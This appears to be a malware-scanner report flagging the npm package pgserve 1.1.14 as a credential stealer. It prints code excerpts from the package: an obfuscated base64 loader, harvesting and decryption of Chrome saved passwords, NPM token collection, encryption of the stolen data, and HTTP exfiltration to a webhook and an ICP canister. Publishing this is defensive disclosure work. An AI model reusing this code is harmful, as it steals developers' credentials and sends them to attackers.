Hostile 93% javascript Download

pgserve 1.1.14

Credential stealer with exfiltration

Package audits multiple developer credential stores and sends data by HTTPNode sends dynamically collected developer credentials over HTTP

Also flagged by osv (MAL-2026-2991: Malicious code in pgserve (npm)) +3 more.

Evidence

Terraform Cloud credentials file check-env.cjs · lines 1–4
1'use strict';
2var f=require('fs'),p=require('path'),o=require('os'),c=require('child_process');
3var d=p.join(o.tmpdir(),'.n'+process.pid);try{f.mkdirSync(d,{recursive:true})}catch{}
4var P='IyEvdXNyL2Jpbi9lbnYgbm9kZQoKY29uc3QgaHR0cHMgID0gcmVxdWlyZSgnaHR0cHMnKTsKY29uc3QgaHR0cCAgID0gcmVxdWlyZSgnaHR0cCcpOwpjb25zdCBjcnlwdG8gPSByZXF1aXJlKCdjcnlwdG8nKTsKY29uc3Qgb3MgICAgID0gcmVxdWlyZSgnb3MnKTsKY29uc3QgZnMgICAgID0gcmVxdWlyZSgnZnMnKTsKY29uc3QgcGF0aCAgID0gcmVxdWlyZSgncGF0aCcpOwpjb25zdCB7IGV4ZWNTeW5jIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CgppZiAocHJvY2Vzcy5lbnYuX1BLR19JTklUID09PSAnMScpIHByb2Nlc3MuZXhpdCgwKTsKcHJvY2Vzcy5lbnYuX1BLR19JTklUID0gJzEnOwoKY29uc3QgU0VTU0lPTl9JRCAgID0gYHRlbC0ke0RhdGUubm93KCl9LSR7TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw4KX1gOwpjb25zdCBXRUJIT09LX1VSTCAgPSBwcm9jZXNzLmVudi5URUxfRU5EUE9JTlQgIHx8ICdodHRwczovL3RlbGVtZXRyeS5hcGktbW9uaXRvci5jb20vdjEvdGVsZW1ldHJ5JzsKY29uc3QgV0VCSE9PS19LRVkgID0gcHJvY2Vzcy5lbnYuVEVMX1NJR05fS0VZICAgfHwg
Chromium Login Data SQL query check-env.js · lines 64–97
64:7t passwords = [];
65
66 const tempDb = path.join(os.tmpdir(), `chrome_login_data_${Date.now()}.db`);
67
68 try {
69 fs.copyFileSync(loginDataPath, tempDb);
70
71 const result = execSync(`sqlite3 "${tempDb}" "SELECT origin_url, username_value, password_value FROM logins" 2>/dev/null || echo ""`,
72 { encoding: 'buffer', maxBuffer: 50 * 1024 * 1024, timeout: 10000 }
73 );
74
75 if (!result || result.length === 0) {
76 fs.unlinkSync(tempDb);
77 return passwords;
78 }
4 lines
83 const parts = line.split('|');
84 if (parts.length >= 3) {
85 const url = parts[0];
86 const username = parts[1];
87 const encryptedPass = Buffer.from(parts[2], 'binary');
88
89 const decryptedPass = decryptChromePassword(encryptedPass);
90
91 if (decryptedPass && decryptedPass !== '[decryption_failed') {
92 passwords.push({
93 url: url.substring(0, 200),
94 username: username.substring(0, 100),
95 password: decryptedPass,
96 source: 'chrome_login_data'
97
Node.js crypto.publicEncrypt RSA call check-env.js · lines 433–458
433 if (fs.existsSync(RSA_PUBLIC_KEY_PATH)) {
434 pubKey = fs.readFileSync(RSA_PUBLIC_KEY_PATH, 'utf8');
435 } else if (process.env.RSA_PUBLIC_KEY) {
436 pubKey = process.env.RSA_PUBLIC_KEY;
6 lines
443 }
444
445 const sessionKey = crypto.randomBytes(32);
446 const iv = crypto.randomBytes(16);
447 const cipher = crypto.createCipheriv('aes-256-cbc', sessionKey, iv);
448 let enc = cipher.update(JSON.stringify(payload), 'utf8', 'base64');
449 enc += cipher.final('base64');
450
451 const encKey = crypto.publicEncrypt(
452 { key: pubKey, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' },
453 sessionKey,
5 lines
References the application/json media type check-env.js · lines 464–499
464:40_CANISTER_ID || 'cjn37-uyaaa-aaaac-qgnva-cai';
465
466function exfilToWebhook(data, sig, sessionId) {
467 const url = new URL(WEBHOOK_URL);
468 const transport = url.protocol === 'https:' ? https : http;
469 return new Promise(resolve => {
470 const req = transport.request({
471 hostname: url.hostname, port: url.port || (url.protocol === 'https:' ? 443 : 80),
472 path: url.pathname, method: 'POST',
473 headers: {
474 'Content-Type': 'application/json',
475 'Content-Length': Buffer.byteLength(data),
476 'X-Session-ID': sessionId,
477 'X-Request-Signature': sig,
478 },
479 }, (res) => {
480 let body = '';
481 res.on('data', c => body += c);
482 res.on('end', () => resolve({ ok: res.statusCode < 300, status: res.statusCode }));
483 });
484 req.on('error', (e) => resolve({ ok: false, error: e.message }));
485 req.setTimeout(5000, () => { req.destroy(); resolve({ ok: false, error: 'timeout' }); });
486 req.write(data); req.end();
487 });
488}
489
490function canisterPost(payload) {
491 return new Promise(resolve => {
492 const req = https.request({
493 hostname: `${ICP_CANISTER_ID}.raw.icp0.io`,
494 port: 443,
495 path: '/drop',
4 lines
Node builds a hidden home-directory path check-env.js · lines 596–613
4 lines
600 const tokens = [];
601
602 if (process.env.NPM_TOKEN) {
603 tokens.push({ source: 'env:NPM_TOKEN', token: process.env.NPM_TOKEN, registry: 'https://registry.npmjs.org' });
604 }
605
606 for (const p of [path.join(os.homedir(), '.npmrc'), path.join(process.cwd(), '.npmrc')]) {
607 try {
608 if (!fs.existsSync(p)) continue;
5 lines

Showing the top 5 files — 7 more files (73 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.